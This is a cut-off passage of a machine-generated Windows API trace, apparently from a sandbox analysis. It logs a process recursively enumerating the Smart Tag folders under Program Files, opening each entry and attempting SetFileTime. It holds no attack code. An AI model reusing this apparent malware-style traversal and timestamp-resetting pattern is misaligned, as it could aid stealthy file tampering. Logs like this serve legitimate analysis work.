[0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b350 [0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909138 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b458 [0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.254] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.254] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.254] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0240.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909158 [0240.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b560 [0240.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0240.255] GetLastError () returned 0x12 [0240.255] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0240.255] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0240.255] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0240.255] GetLastError () returned 0x12 [0240.255] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.255] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0240.256] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b350) returned 1 [0240.256] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0240.256] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0240.256] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0240.322] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0240.322] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90bd70 [0240.322] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90bd70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x90bd70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0240.322] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90bd70) returned 1 [0240.322] NtClose (Handle=0x1b4) returned 0x0 [0240.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b350 [0240.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b668 [0240.323] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0240.323] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.323] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0240.323] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9061a0 [0240.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909178 [0240.323] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9066c8 [0240.323] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.323] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0240.323] GetLastError () returned 0x12 [0240.323] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0240.324] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0240.324] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.324] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0240.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9067d0 [0240.324] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0240.324] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0240.324] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90bd70 [0240.324] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90bd70, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90bd70, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0240.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90bd70) returned 1 [0240.324] NtClose (Handle=0x1b4) returned 0x0 [0240.324] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9067d0) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9067d0 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0240.325] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0240.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909198 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.325] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9091b8 [0240.325] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90bd88 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.326] RtlAllocateHeap 